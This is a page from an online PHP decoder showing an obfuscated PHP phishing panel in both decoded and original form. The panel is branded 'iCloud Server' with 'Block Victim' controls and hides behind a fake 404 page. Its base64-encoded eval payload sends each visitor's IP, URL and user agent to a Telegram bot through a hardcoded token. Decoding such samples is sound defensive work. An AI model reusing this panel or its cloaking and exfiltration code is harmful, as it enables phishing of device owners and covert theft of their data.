Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php session_start();if($_SESSION["\x61uthu\x73\x65\x72"]!=1){echo"\x3c\x68\x74\x6d\x6c \..

Decoded Output download

<html style="height:100%">
<head><title> 404 Not Found
</title></head>
<body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;">
<div style="height:auto; min-height:100%; ">     <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;">
        <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1>
<h2 style="margin-top:20px;font-size: 30px;">Not Found
</h2>
<h3 style="margin-top:20px;font-size: 34px;">Don't Make Me Fool Baby !</h3>
<h4 style="margin-top:20px;font-size: 25px;">The resource requested could not be found on this server!</h4>
<p>Powered By XTX TEAM</p>
</div></div></body></html><!DOCTYPE html><html><head>
<meta name="viewport" content="width=device-width, initial-scale=1>
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css" integrity="sha384-Gn5384xqQ1aoWXA+058RXPxPg6fy4IWvTNh0E263XmFcJlSAwiGgFAW/dAiS6JXm" crossorigin="anonymous">
<script src="https://code.jquery.com/jquery-3.2.1.slim.min.js" integrity="sha384-KJ3o2DKtIkvYIK3UENzmM7KCkRr/rE9/Qpg6aAZGJwFDMVNA/GpGFF93hXpG5KkN" crossorigin="anonymous"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js" integrity="sha384-ApNbgh9B+Y1QKtv3Rn7W3mgPxhU9K/ScQsAP7hUibX39j7fakFPskvXusvfa0b4Q" crossorigin="anonymous"></script>
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/js/bootstrap.min.js" integrity="sha384-JZR6Spejh4U02d8jOt6vLEHfe/JQGiRRSQQxSfFWpi1MquVdAyjUar5+76PVCmYl" crossorigin="anonymous"></script>
<meta charset="UTF-8"><title>->MyanmarGSX<-</title>     
<link rel="stylesheet" href="style.css"><meta name="viewport" content="initial-scale=1, maximum-scale=1">
</head><body><br><br><h1 style="color:white;">iCloud Server</h1><br><br><a href="createlink.php" class="btn btn-lg btn-success">Create Link</a><br><br> 
<a href="block.php" class="btn btn-lg btn-success">Block Victim</a><script src='http://cdnjs.cloudflare.com/ajax/libs/jquery/2.1.3/jquery.min.js'></script></body></html>$user_agent     =   $_SERVER['HTTP_USER_AGENT'];
$visitorip = $_SERVER['REMOTE_ADDR'];
$visitpage = $_SERVER['REQUEST_URI'];
$actual_link = (isset($_SERVER['HTTPS']) ? "https" : "http") . "://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]";
$filekey = 563337473;
$token = "508357167:AAFFLQV44MTPs939Ymk2UvI5ZUNYy63x8nA";
$title = "<b>XTX HACK3R FILE MANAGER</b>

";
$title .= "<b>IP => </b><i>".  $visitorip . "</i>
";
$title .= "<b>Link => </b><i>".  $actual_link . "</i>
";
$title .= "<b>VisitPage => </b><i>".  $visitpage . "</i>
";
$title .= "<b>UserAgent => </b><i>".  $user_agent . "</i>
";
$title .= "<b>SafeMode => </b><i>".  $hsafemode . "</i>
";
$vrequest_params = [
     'chat_id' => $filekey,
     'text' => $title
];
    $vrequest_url = 'https://api.telegram.org/bot' . $token . '/sendmessage?' . http_build_query($vrequest_params).'&parse_mode=html';
file_get_contents($vrequest_url);

Did this file decode correctly?

Original Code

<?php session_start();if($_SESSION["\x61uthu\x73\x65\x72"]!=1){echo"\x3c\x68\x74\x6d\x6c \x73t\x79\x6ce=\"\x68e\x69g\x68t:1\x300%\"\x3e\n\x3c\x68\x65\x61\x64><tit\x6c\x65\x3e \x3404\x20No\x74 Fo\x75\x6e\x64\n\x3c/t\x69\x74l\x65\x3e\x3c/\x68\x65a\x64>\n\x3c\x62\x6f\x64\x79\x20st\x79l\x65=\"\x63\x6fl\x6f\x72:\x20\x23\x34\x344\x3b\x20m\x61\x72\x67i\x6e:\x30\x3bfo\x6e\x74:\x20\x6eo\x72ma\x6c 14\x70x/\x32\x30p\x78\x20\x41ri\x61l, \x48\x65\x6c\x76\x65ti\x63\x61, sans-s\x65ri\x66;\x20\x68e\x69\x67\x68\x74:10\x30\x25; backgro\x75\x6ed-\x63\x6f\x6c\x6fr: \x23f\x66f\x3b\x22>\n<div \x73t\x79le=\x22\x68\x65\x69\x67\x68\x74:auto; \x6din-\x68eig\x68\x74:\x31\x30\x30%; \">\x20 \x20 \x20\x3cd\x69v st\x79\x6c\x65\x3d\"\x74e\x78t-al\x69g\x6e: c\x65\x6ete\x72\x3b\x20\x77idt\x68:800p\x78\x3b m\x61\x72g\x69\x6e-le\x66\x74: -4\x300\x70\x78;\x20\x70\x6f\x73\x69ti\x6fn:\x61b\x73olu\x74e\x3b\x20\x74\x6f\x70:\x203\x30%\x3b\x20\x6c\x65f\x74:5\x30\x25\x3b\">\n   \x20   \x20<\x681 \x73tyle=\x22\x6d\x61\x72\x67in:\x30; \x66\x6f\x6et-si\x7a\x65:150\x70\x78\x3b\x20\x6cine-h\x65\x69\x67\x68t:1\x350px\x3b \x66\x6fnt-w\x65\x69gh\x74:b\x6fl\x64;\x22>\x34\x30\x34</\x68\x31\x3e\n\x3c\x68\x32\x20\x73\x74y\x6ce\x3d\"\x6dar\x67in-t\x6f\x70:\x32\x30\x70x\x3bfont-s\x69ze: 3\x30px;\"\x3eNo\x74\x20\x46o\x75nd\n\x3c/\x682\x3e\n<\x683\x20s\x74\x79le=\"\x6dar\x67in-to\x70:\x32\x30\x70x\x3bf\x6fn\x74-\x73\x69z\x65: \x33\x34px;\x22>Do\x6e\x27t\x20\x4d\x61ke M\x65\x20Fo\x6fl B\x61\x62\x79 !</h\x33\x3e\n<\x684 s\x74y\x6c\x65\x3d\x22\x6da\x72\x67\x69n-t\x6f\x70:20px;\x66o\x6e\x74-\x73\x69ze: 25p\x78\x3b\">\x54he re\x73\x6fu\x72ce\x20re\x71\x75\x65ste\x64\x20\x63\x6fuld\x20not\x20be\x20fo\x75n\x64 \x6f\x6e t\x68i\x73 se\x72\x76\x65\x72\x21\x3c/h\x34\x3e\n\x3cp>\x50o\x77e\x72e\x64\x20\x42y\x20\x58TX T\x45AM\x3c/\x70\x3e\n</\x64iv>\x3c/d\x69\x76></\x62\x6f\x64y></ht\x6dl>";exit();}echo"\x3c!\x44\x4fC\x54\x59\x50\x45 ht\x6dl\x3e<\x68tml><\x68\x65ad\x3e\n<m\x65ta\x20\x6e\x61\x6de\x3d\x22vi\x65wpo\x72t\"\x20\x63onte\x6et=\x22wi\x64\x74\x68=de\x76\x69\x63e-wi\x64t\x68, in\x69t\x69al-s\x63\x61\x6ce=1\x3e\n\x3c\x6c\x69\x6ek\x20\x72e\x6c=\"\x73t\x79\x6ce\x73heet\"\x20\x68\x72e\x66\x3d\x22\x68t\x74ps://m\x61xcdn\x2eb\x6fots\x74\x72a\x70cdn.c\x6f\x6d/\x62oot\x73tr\x61p/\x34\x2e0\x2e\x30/c\x73\x73/\x62\x6f\x6f\x74s\x74\x72ap.\x6d\x69n.css\x22\x20\x69\x6ete\x67ri\x74\x79\x3d\x22\x73\x68\x61\x33\x384-\x47n53\x384\x78\x71\x511\x61oW\x58A+\x305\x38RX\x50\x78P\x67\x36f\x79\x34IW\x76TN\x680\x45\x326\x33Xm\x46\x63J\x6cS\x41\x77\x69Gg\x46A\x57/\x64A\x69S\x36JXm\" \x63r\x6fs\x73\x6f\x72i\x67i\x6e=\x22anonymou\x73\x22\x3e\n<scr\x69\x70\x74 \x73r\x63\x3d\x22h\x74tp\x73://c\x6fde\x2e\x6a\x71\x75e\x72y.c\x6fm/jque\x72y-\x33\x2e\x32\x2e1.\x73\x6ci\x6d.min.\x6a\x73\" \x69\x6etegr\x69\x74y\x3d\"sh\x613\x384-K\x4a3\x6f\x32DK\x74I\x6bv\x59\x49\x4b3UE\x4e\x7a\x6d\x4d7KC\x6bR\x72/\x72\x45\x39/\x51pg\x36aAZ\x47\x4aw\x46\x44\x4dVNA/\x47\x70\x47FF9\x33\x68\x58\x70\x475\x4bk\x4e\x22\x20c\x72\x6fs\x73\x6fr\x69\x67\x69n=\"a\x6e\x6f\x6e\x79\x6do\x75s\x22\x3e</s\x63ript\x3e\n\x3c\x73cr\x69\x70\x74 \x73\x72c\x3d\"\x68ttp\x73://c\x64njs\x2e\x63\x6c\x6f\x75\x64\x66\x6ca\x72e\x2e\x63\x6f\x6d/\x61ja\x78/\x6c\x69bs/p\x6f\x70p\x65r\x2e\x6a\x73/1\x2e1\x32.\x39/\x75md/po\x70p\x65r\x2e\x6din\x2ej\x73\x22\x20in\x74\x65\x67\x72\x69t\x79\x3d\x22\x73\x68a384-\x41p\x4ebgh9B+Y1QKt\x76\x33\x52n\x37\x57\x33mg\x50\x78h\x55\x39K/\x53c\x51s\x41\x50\x37h\x55\x69\x62\x5839\x6a\x37f\x61k\x46\x50s\x6b\x76Xus\x76\x66\x610b4Q\"\x20\x63\x72\x6f\x73so\x72ig\x69n\x3d\"a\x6eonymo\x75\x73\x22></\x73c\x72i\x70\x74\x3e\n<\x73c\x72i\x70\x74 s\x72c\x3d\x22h\x74\x74\x70s://ma\x78\x63dn.b\x6fot\x73\x74\x72\x61pc\x64n.co\x6d/\x62oo\x74\x73tra\x70/\x34\x2e0.0/\x6a\x73/\x62o\x6f\x74\x73\x74\x72\x61p\x2e\x6d\x69n.\x6as\" i\x6e\x74\x65\x67ri\x74\x79=\"s\x68a\x338\x34-\x4aZ\x526\x53p\x65\x6a\x684\x55\x302d8\x6a\x4ft\x36vL\x45\x48f\x65/J\x51Gi\x52\x52\x53\x51QxS\x66F\x57pi1M\x71\x75\x56dA\x79\x6aU\x61r5+7\x36P\x56Cm\x59l\x22\x20\x63\x72o\x73\x73or\x69\x67\x69n=\x22anon\x79\x6d\x6f\x75\x73\"></s\x63\x72\x69\x70\x74>\n\x3c\x6d\x65\x74\x61\x20c\x68\x61rset\x3d\x22\x55TF-8\x22\x3e\x3c\x74i\x74\x6ce>->My\x61nm\x61\x72G\x53X\x3c-</\x74\x69\x74\x6ce>  \x20\x20 \n\x3cl\x69nk\x20r\x65l\x3d\"\x73\x74\x79\x6c\x65\x73\x68\x65e\x74\x22 h\x72\x65f\x3d\x22st\x79le\x2ec\x73\x73\x22>\x3cmeta n\x61\x6de=\x22\x76\x69e\x77po\x72t\"\x20\x63\x6fn\x74e\x6et=\x22\x69n\x69t\x69al-sca\x6c\x65\x3d\x31, max\x69\x6dum-sc\x61\x6c\x65=1\x22>\n\x3c/\x68\x65\x61\x64>\x3c\x62\x6f\x64y>\x3c\x62r>\x3c\x62\x72\x3e<\x68\x31 \x73tyle=\x22c\x6f\x6c\x6fr:w\x68\x69\x74e;\">\x69\x43lou\x64\x20S\x65\x72ver\x3c/h1><\x62r\x3e<br><\x61 \x68ref=\"c\x72ea\x74elink.\x70h\x70\" \x63\x6cass=\x22btn\x20\x62t\x6e-\x6c\x67\x20b\x74\x6e-\x73ucc\x65s\x73\x22>\x43re\x61\x74e\x20Li\x6ek</\x61\x3e\x3c\x62r\x3e<\x62\x72> \n<\x61\x20\x68\x72\x65\x66\x3d\x22\x62\x6cock.\x70h\x70\" \x63lass\x3d\"bt\x6e\x20bt\x6e-\x6cg btn-s\x75\x63\x63\x65\x73s\x22\x3e\x42\x6co\x63k \x56\x69\x63tim</\x61>";eval(base64_decode("\x4a\x48V\x7a\x5a\x58J\x66YW\x64l\x62nQgIC\x41gID0g\x49C\x41k\x581\x4eF\x55\x6cZF\x55l\x73\x6eS\x46\x52\x55U\x46\x39VU0\x56SX\x30F\x48RU5UJ\x310\x37DQ\x6f\x6b\x64mlz\x61X\x52vc\x6d\x6cw\x49\x44\x30g\x4aF\x39T\x52\x56\x4a\x57RV\x4a\x62J\x31JF\x54U\x39U\x52V\x39B\x52ERS\x4a1\x30\x37D\x51okdml\x7aaXR\x77Y\x57d\x6c\x49\x44\x30g\x4a\x46\x39TR\x56JWRV\x4ab\x4a1\x4aFU\x56\x56\x46\x55\x31\x52\x66\x56\x56\x4a\x4a\x4a\x310\x37\x44\x51\x6f\x6b\x59\x57\x4e\x30\x64\x57\x46\x73\x58\x32xp\x62\x6ds\x67PS\x41\x6f\x61\x58\x4ez\x5a\x58QoJ\x469T\x52\x56\x4aWRV\x4ab\x4a\x30\x68\x55\x56FBT\x4a\x31\x30\x70ID8gI\x6d\x68\x30d\x48B\x7aI\x69A\x36\x49CJ\x6f\x64H\x52\x77Ii\x6b\x67\x4c\x69AiO\x698\x76J\x46\x39TRV\x4aW\x52\x56\x4a\x62S\x46\x52\x55UF9IT\x31N\x55\x58\x53RfU\x30\x56S\x56k\x56\x53\x571\x4a\x46UV\x56FU\x31\x52fVV\x4aJX\x53\x497DQok\x5a\x6dls\x5a\x57\x74\x6ceS\x419I\x44U\x32MzMz\x4ez\x51\x33M\x7a\x73\x4eCiR0b2\x74\x6cbiA\x39ICI\x31MDgzNT\x63xN\x6a\x63\x36QU\x46GRkx\x52\x56\x6aQ0TVR\x51\x63z\x6b\x7a\x4fVlt\x61\x7aJ\x56d\x6bk1Wl\x56OW\x58\x6b2\x4d\x33\x674b\x6b\x45\x69\x4f\x770KJ\x48\x52\x70d\x47\x78lID0\x67\x49\x6a\x78\x69PlhU\x57\x43\x42\x49Q\x55N\x4cM\x31\x49g\x52\x6bl\x4dRSBNQU5\x42\x52\x30V\x53\x50C9i\x50lx\x75\x58G\x34\x69O\x77\x30\x4bJHRpdGx\x6c\x49\x434\x39\x49CI\x38\x59\x6a5\x4aU\x43A\x39\x50iA8\x4c2\x49+\x50G\x6b+\x49\x694\x67\x49CR2aXN\x70d\x47\x39ya\x58AgLi\x41\x69\x50\x439\x70PlxuIjs\x4e\x43\x69R\x30a\x58\x52\x73Z\x53\x41uPSAiPG\x49+T\x47lua\x79\x41\x39P\x69\x41\x38L\x32I+P\x47k+\x49i\x34g\x49\x43R\x68\x593\x521Y\x57xfbG\x6c\x75\x61\x79Au\x49\x43I\x38\x4c\x32k+\x58G4\x69\x4fw0K\x4aHRpdG\x78lIC\x349I\x43\x498Y\x6a5\x57aX\x4e\x70d\x46Bh\x5a\x32Ug\x50\x544gPC\x39iP\x6a\x78\x70Pi\x49u\x49\x43Akd\x6d\x6c\x7aaXR\x77Y\x57\x64lIC4g\x49\x6awv\x61\x54\x35cbi\x497DQokdGl\x30\x62\x47U\x67\x4c\x6a\x30g\x49\x6axiPlVzZ\x58\x4a\x42Z\x32\x56ud\x43\x41\x39PiA\x38\x4c\x32\x49+P\x47k+I\x69\x34\x67I\x43\x52\x31\x63\x32V\x79\x58\x32FnZ\x57\x350\x49\x43\x34\x67I\x6aw\x76\x61\x545\x63\x62\x69\x49\x37D\x51\x6fkd\x47\x6c\x30\x62\x47UgL\x6a0gI\x6ax\x69P\x6cN\x68ZmV\x4eb\x32Rl\x49D0+\x49D\x77v\x59\x6a\x34\x38\x61\x544\x69\x4c\x69\x41\x67\x4a\x47\x68zY\x57\x5a\x6cb\x57\x39kZSA\x75\x49CI\x38L2\x6b+\x58G4iOw0\x4b\x4aH\x5ay\x5aX\x461Z\x58\x4e0\x583\x42hc\x6d\x46t\x63\x79\x419I\x46\x73\x4eC\x69\x41\x67\x49C\x41\x67\x4a2\x4e\x6f\x59X\x52\x66\x61\x57\x51nI\x440+\x49C\x52\x6d\x61\x57\x78la\x32V5\x4cA0\x4bI\x43A\x67\x49\x43An\x64\x47\x56\x34dCc\x67PT4g\x4a\x48\x52\x70dG\x78lD\x51\x70\x64O\x770\x4bI\x43Ag\x49\x43\x522\x63m\x56xdW\x56z\x64\x46\x391\x63mwg\x50\x53A\x6ea\x48\x52\x30c\x48M\x36\x4c\x79\x39h\x63\x47k\x75dG\x56s\x5a\x57\x64y\x59\x57\x30\x75b\x33\x4a\x6e\x4c2J\x76dC\x63gL\x69\x41kdG\x39\x72\x5aW4g\x4ciA\x6e\x4c3\x4e\x6cb\x6dR\x74ZX\x4e\x7aYWd\x6c\x50\x79cgLi\x42\x6fdH\x52w\x582\x4a1aW\x78\x6bX3\x461\x5a\x58\x4a5KCR\x32\x63\x6d\x56xdWV\x7a\x64F\x39\x77\x59XJh\x62\x58Mp\x4c\x69cm\x63G\x46\x79\x632\x56\x66\x62\x579\x6b\x5a\x54\x31\x6f\x64G\x31sJ\x7asNCmZp\x62\x47\x56fZ2\x56\x30\x582\x4evbn\x52l\x62\x6e\x52\x7aK\x43R\x32c\x6dV\x78d\x57\x56zd\x46\x391\x63m\x77p\x4fw=\x3d"));echo"<script\x20\x73rc=\x27htt\x70://c\x64njs.\x63\x6cou\x64fl\x61r\x65\x2e\x63om/aj\x61x/\x6ci\x62s/\x6aq\x75\x65\x72y/2.\x31.\x33/j\x71\x75\x65r\x79\x2em\x69\x6e.\x6a\x73\x27>\x3c/\x73cri\x70\x74>\x3c/b\x6f\x64y>\x3c/\x68tm\x6c>";
?>

Function Calls

base64_decode 1
session_start 1

Variables

None

Stats

MD5 336087ccde72d1dc15aeddd0ba78f3c6
Eval Count 1
Decode Time 88 ms